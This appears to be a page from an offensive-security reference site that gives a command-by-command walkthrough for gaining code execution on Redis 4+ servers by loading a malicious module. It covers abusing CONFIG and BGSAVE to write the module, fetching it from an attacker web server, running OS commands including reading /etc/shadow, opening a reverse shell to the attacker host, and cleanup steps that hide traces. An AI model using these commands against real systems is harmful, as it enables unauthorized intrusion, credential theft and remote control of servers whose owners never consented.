Skip to content
HackIndex logo

HackIndex

Redis RCE via Malicious Module Load

4 min read Jul 14, 2026

Redis 4.0 introduced external module support — loadable .so files that extend Redis with custom commands. A malicious module can register a command that executes arbitrary OS commands on the host. The module must first reach the target filesystem, then be loaded with MODULE LOAD. This technique works on Redis 4+ and does not depend on the target OS distribution — unlike CVE-2022-0543, it is not Debian-specific.

Prerequisites Check

1 – Redis version is 4.0 or above:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version

Version 4.0.0 or higher required.

2 – CONFIG access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a path. CONFIG is needed to write the module to disk via BGSAVE.

3 – MODULE command is not disabled:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module list

An empty list or (empty array) is fine — it means no modules are loaded yet. An error like ERR unknown command 'module' means MODULE is disabled. If disabled, this technique will not work.

Step 1 – Get the exp.so Module

Clone the RedisModulesSDK repository which includes a precompiled exp.so:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/RedisModulesSDK
┌──(kali㉿kali)-[~]
└─$ ls RedisModulesSDK/exp/

The exp.so file registers two commands: system.exec (runs a command and returns output) and system.rev (opens a reverse shell).

If the precompiled binary does not work (architecture mismatch), compile from source:

┌──(kali㉿kali)-[~]
└─$ cd RedisModulesSDK/exp
┌──(kali㉿kali)-[~]
└─$ make

Requires gcc and the Redis source headers — check the README for dependencies.

Step 2 – Deliver exp.so to the Target

Option A – Via Redis BGSAVE write:

Host the module on your attack box temporarily, then use Redis to write it. This only works cleanly if you can control binary content — easier with the master-slave technique. For a direct CONFIG write approach:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /tmp
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename exp.so

Then write the module content as a key (works for small modules, but RDB encoding may corrupt binary):

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set payload "$(cat RedisModulesSDK/exp/exp.so | xxd -p | tr -d '\n')"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

For reliable binary delivery, use the master-slave replication technique which handles binary data cleanly — see https://hackindex.io/services/redis/exploitation/master-slave-replication.

Option B – Via a shell you already have:

If you have any shell on the target (from another service or prior exploitation), upload exp.so directly:

┌──(kali㉿kali)-[~]
└─$ scp RedisModulesSDK/exp/exp.so $USER@$TARGET_IP:/tmp/exp.so

Or via a web server:

┌──(kali㉿kali)-[~]
└─$ # On attack box:
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target (from existing shell):
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/exp.so -O /tmp/exp.so
┌──(kali㉿kali)-[~]
└─$ curl -o /tmp/exp.so http://$LHOST:8080/exp.so

Step 3 – Load the Module

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module load /tmp/exp.so
OK

Confirm it loaded:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module list

Step 4 – Execute Commands

Run any OS command and get output:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "id"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "whoami"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "cat /etc/shadow"

Get a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.rev $LHOST $LPORT

Step 5 – Unload and Clean Up

Remove the module after use:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module unload shell
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb

Delete the uploaded file from the target if you have shell access:

┌──(kali㉿kali)-[~]
└─$ rm /tmp/exp.so

References